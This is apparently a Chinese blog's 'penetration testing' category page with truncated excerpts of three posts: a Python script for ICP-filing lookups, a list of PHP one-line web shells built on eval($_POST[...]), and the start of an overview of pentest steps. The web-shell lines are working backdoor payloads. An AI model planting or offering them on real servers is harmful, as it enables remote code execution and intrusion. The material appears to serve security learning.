随笔分类 - 渗透测试
摘要：from urllib import request import sys from urllib import parse import re base_url = "https://www.beianx.cn/search/" real_url = base_url + parse.quote(
阅读全文
摘要：php: <?php @eval($_POST['attack' ]);?> <?php eval($_POST[1]);?> <script language="php">@eval($_POST['cmd'])</script> <?=eval($_POST['cmd']); <?php if(
阅读全文
摘要：概述： 渗透测试步骤对我来说分为三类也就够了：信息收集，漏洞验证，漏洞利用。篇幅有限，信息收集先多说一点，后面漏洞的验证和利用就只能具体漏洞具体分析，我以后会写。 信息收集： 此操作主要是为了扩大攻击面，人类才是最大的漏洞，网站防护不可能面面俱到，大门做得再结实，周边是土墙的话也白扯。 企业信息收集
阅读全文
